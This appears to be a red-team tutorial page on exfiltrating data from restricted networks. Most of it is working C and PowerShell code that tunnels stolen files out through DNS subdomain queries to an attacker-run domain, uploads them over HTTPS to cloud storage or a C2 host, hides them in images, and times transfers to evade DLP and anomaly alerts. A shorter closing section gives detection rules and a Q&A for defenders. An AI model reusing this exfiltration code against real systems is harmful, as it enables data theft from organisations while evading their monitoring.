Data Exfiltration Techniques
Exfiltration is the last mile: moving data from a network perimeter to operator-controlled infrastructure while evading DLP, egress filtering, and anomaly detection. The channel chosen — DNS, HTTPS, steganography, cloud storage APIs — must match the allowed outbound traffic profile of the target environment. Volume, timing, and encoding all affect detection probability.
You have exfiltrated 200MB of engineering documents from an air-gapped segment that can only reach the internet via a proxy allowing port 443 to approved hostnames and outbound DNS to 8.8.8.8 and 8.8.4.4. No direct TCP connections to arbitrary IPs are allowed. You need to tunnel data out through DNS queries and/or HTTPS to a CDN-fronted hostname that appears legitimate to the proxy's SNI inspection.
Exfil Channel Comparison
| Channel | Bandwidth | Detection risk | Blocked by |
|---|---|---|---|
| DNS TXT/A queries | Very low (~100 KB/min) | Low — DNS rarely DLPed | DNS filtering / query rate limits |
| HTTPS to C2 | High | Medium — proxy inspection | TLS inspection + DLP on content |
| HTTPS to cloud (OneDrive, GDrive, S3) | High | Low — trusted destinations | CASB, OAuth scope restriction |
| Steganography in image upload | Low–medium | Very low — no anomaly on image | CASB with steg detection (rare) |
| ICMP payload | Low | Medium — ICMP rarely carries data | Stateful firewall blocking ICMP payload |
| SMB to external file share | High | High — unusual port 445 egress | Most enterprise firewalls block 445 outbound |
DNS Exfiltration
// DNS exfil: send data as base32-encoded subdomains.
// Uses DnsQuery_W to send queries (Windows DnsAPI).
// Python server side: authoritative DNS for evil.com, parse subdomains.
#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")
// Base32 encoding (RFC 4648, no padding) for DNS-safe characters
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";
VOID Base32Encode(const BYTE* in, DWORD inLen, char* out) {
int bits = 0, accum = 0, pos = 0;
for (DWORD i = 0; i < inLen; i++) {
accum = (accum << 8) | in[i]; bits += 8;
while (bits >= 5) { bits -= 5; out[pos++] = B32[(accum >> bits) & 0x1F]; }
}
if (bits) out[pos++] = B32[(accum << (5-bits)) & 0x1F];
out[pos] = 0;
}
VOID DnsExfilChunk(const BYTE* data, DWORD len,
DWORD seq, const char* domain) {
char encoded[128]; Base32Encode(data, len, encoded);
char fqdn[256];
sprintf_s(fqdn, "%s.%04u.x.%s", encoded, seq, domain);
// Convert to wchar
WCHAR wFqdn[256];
MultiByteToWideChar(CP_ACP, 0, fqdn, -1, wFqdn, 256);
PDNS_RECORD pRec;
// DnsQuery fires a real DNS query — goes through OS resolver → external DNS
DnsQuery_W(wFqdn, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &pRec, NULL);
if (pRec) DnsRecordListFree(pRec, DnsFreeRecordList);
}
VOID DnsExfilFile(const BYTE* payload, DWORD payloadLen,
const char* domain) {
const DWORD CHUNK = 40; // 40 raw bytes → ~64 base32 chars
DWORD seq = 0;
for (DWORD off = 0; off < payloadLen; off += CHUNK, seq++) {
DWORD sz = min(CHUNK, payloadLen - off);
DnsExfilChunk(payload + off, sz, seq, domain);
Sleep(1500); // rate-limit: ~1 query/1.5s avoids query burst alerts
}
// Send terminator: "fin.TOTAL_SEQ.x.domain"
WCHAR fin[256]; swprintf_s(fin, L"fin.%04u.x.%hs", seq, domain);
DnsQuery_W(fin, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, NULL, NULL);
}
HTTPS Exfiltration to Cloud Storage
// Upload directly to OneDrive via Microsoft Graph API.
// Advantages: HTTPS 443 to microsoft.com — passes most proxy allowlists.
// The token is embedded or obtained via device code flow during initial access.
// CASB tools can see the upload content if they inspect Graph API calls.
// PowerShell one-liner for quick exfil:
// $headers = @{Authorization = "Bearer <ACCESS_TOKEN>"}
// $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
// Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/data.zip:/content" `
// -Method PUT -Headers $headers `
// -Body ([Convert]::FromBase64String($content)) `
// -ContentType "application/octet-stream"
// C implementation via WinHTTP to arbitrary HTTPS endpoint:
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
BOOL HttpsUpload(LPCWSTR host, LPCWSTR path,
const BYTE* data, DWORD dataLen) {
HINTERNET hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebRequest/537",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
HINTERNET hConn = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = WinHttpOpenRequest(hConn, L"PUT", path,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
WinHttpAddRequestHeaders(hReq,
L"Content-Type: application/octet-stream", -1L,
WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
(LPVOID)data, dataLen, dataLen, 0);
WinHttpReceiveResponse(hReq, NULL);
DWORD status = 0, sz = sizeof(DWORD);
WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE|WINHTTP_QUERY_FLAG_NUMBER,
NULL, &status, &sz, NULL);
WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn); WinHttpCloseHandle(hSession);
return (status == 200 || status == 201);
}
Steganography in Images
// LSB steganography: hide data in the least-significant bit of each color channel.
// A 1920x1080 RGB image can hold 1920*1080*3 / 8 = ~777KB of hidden data.
// Uploaded to an image hosting service — appears to be a normal screenshot.
// Statistical detection: chi-square test can detect LSB steg in uniform areas.
// Embed payload into BMP pixels (24-bit, no compression):
VOID LsbEmbed(BYTE* pixels, DWORD pixelCount,
const BYTE* payload, DWORD payloadLen) {
// Prepend 4-byte length header
BYTE header[4] = {
(BYTE)(payloadLen >> 24), (BYTE)(payloadLen >> 16),
(BYTE)(payloadLen >> 8), (BYTE)(payloadLen)
};
DWORD pixIdx = 0;
auto embedByte = [&](BYTE b) {
for (int bit = 7; bit >= 0; bit--) {
pixels[pixIdx] = (pixels[pixIdx] & 0xFE) | ((b >> bit) & 1);
pixIdx++;
}
};
for (int i = 0; i < 4; i++) embedByte(header[i]);
for (DWORD i = 0; i < payloadLen; i++) embedByte(payload[i]);
}
// Extract:
VOID LsbExtract(const BYTE* pixels, BYTE* out, DWORD maxOut) {
DWORD pixIdx = 0;
auto extractByte = [&]() -> BYTE {
BYTE b = 0;
for (int bit = 7; bit >= 0; bit--)
b |= (pixels[pixIdx++] & 1) << bit;
return b;
};
DWORD len = ((DWORD)extractByte()<<24)|((DWORD)extractByte()<<16)
|((DWORD)extractByte()<<8)|extractByte();
len = min(len, maxOut);
for (DWORD i = 0; i < len; i++) out[i] = extractByte();
}
Chunking and Rate Limiting
// DLP and anomaly systems alert on: large single transfers, unusual transfer times,
// high query rates (DNS), and destinations not seen in baseline.
// Mitigations: small chunks, long delays, randomized timing, blend with normal traffic.
VOID ThrottledExfil(const BYTE* data, DWORD total) {
const DWORD CHUNK_SZ = 64 * 1024; // 64KB per chunk
const DWORD MIN_DELAY = 30000; // 30s minimum between chunks
const DWORD JITTER_MS = 15000; // ±15s random jitter
DWORD sent = 0;
while (sent < total) {
DWORD chunkLen = min(CHUNK_SZ, total - sent);
HttpsUpload(L"c2.example.com", L"/upload", data + sent, chunkLen);
sent += chunkLen;
// Only exfil during business hours (9 AM – 5 PM) to blend with normal traffic
SYSTEMTIME st; GetLocalTime(&st);
if (st.wHour < 9 || st.wHour >= 17) {
Sleep(3600000); // wait 1h, recheck
continue;
}
DWORD delay = MIN_DELAY + (rand() % JITTER_MS);
Sleep(delay);
}
}
Detection Engineering
title: Anomalous DNS Query Volume from Single Host (DNS Exfil)
logsource:
product: dns
detection:
selection:
QueryType: 'A'
condition: |
selection | count() by SourceIp, QueryName | threshold(field=QueryName, count > 500, timespan=10m)
level: high
tags: [attack.exfiltration, T1048.003]
title: Long DNS Subdomain (Data Encoded in DNS Query)
logsource:
product: dns
detection:
selection:
QueryName|re: '^[a-z2-7]{20,}\\.' # base32 in first label
condition: selection
level: medium
-- MDE KQL: large HTTPS upload to uncommon destination
DeviceNetworkEvents
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize
total_bytes = sum(SentBytes),
sessions = count()
by DeviceName, RemoteUrl, bin(Timestamp, 1h)
| where total_bytes > 50000000 // 50MB threshold
| where RemoteUrl !has "microsoft"
and RemoteUrl !has "windows"
and RemoteUrl !has "office"
| order by total_bytes desc
-- DNS: high subdomain entropy (encoded exfil)
DnsEvents
| where TimeGenerated > ago(1h)
| extend firstLabel = extract('^([^.]+)\.', 1, Name)
| extend labelLen = strlen(firstLabel)
| where labelLen > 30
| summarize count(), make_set(Name) by Computer, bin(TimeGenerated, 5m)
| where count_ > 20
Q&A
How does DNS-over-HTTPS (DoH) affect both the attacker's DNS exfil strategy and the defender's ability to monitor DNS exfiltration?
DNS-over-HTTPS changes the fundamental visibility model for DNS in enterprise environments. Traditional DNS queries are plaintext UDP/53 flows that network sensors, DNS servers, and proxy logs can all inspect. When an endpoint uses DoH — sending encrypted DNS queries to a DoH resolver over HTTPS/443 — the organization's internal DNS resolver never sees those queries. The queries are indistinguishable from any other HTTPS traffic to the DoH provider's IP address.
For the attacker using DNS exfiltration, DoH is double-edged. On one hand, if the target environment uses DoH, the attacker's DNS queries to their C2 authoritative server may also be DoH-forwarded, which means enterprise DNS monitoring tools simply do not see them — a significant evasion gain. On the other hand, enterprise environments that enforce proxy-based internet access typically block direct UDP/53 and TCP/853 (DoT) to external resolvers and may also block HTTPS to known DoH providers (Cloudflare 1.1.1.1, Google 8.8.8.8, NextDNS). If DoH to the attacker's domain is not specifically allowed, the attacker must still use the internal recursive resolver and the exfil is visible.
For defenders, the correct response to DoH is not to try to monitor DNS traffic but to: (1) Enforce DNS resolver policy — all DNS must go through the corporate resolver, block UDP/53 outbound except from authorized resolvers, and block port 443 to known DoH provider IPs; (2) Monitor for endpoints making DNS-over-HTTPS connections by watching for HTTPS connections to known DoH provider IP ranges; (3) Implement DNS RPZ (Response Policy Zones) at the corporate resolver to block queries to known C2 domains; (4) Accept that some DoH exfiltration will evade traditional DNS monitoring and compensate with volume anomaly detection on HTTPS egress flows instead. The monitoring surface shifts from DNS logs to HTTPS volume + destination analytics.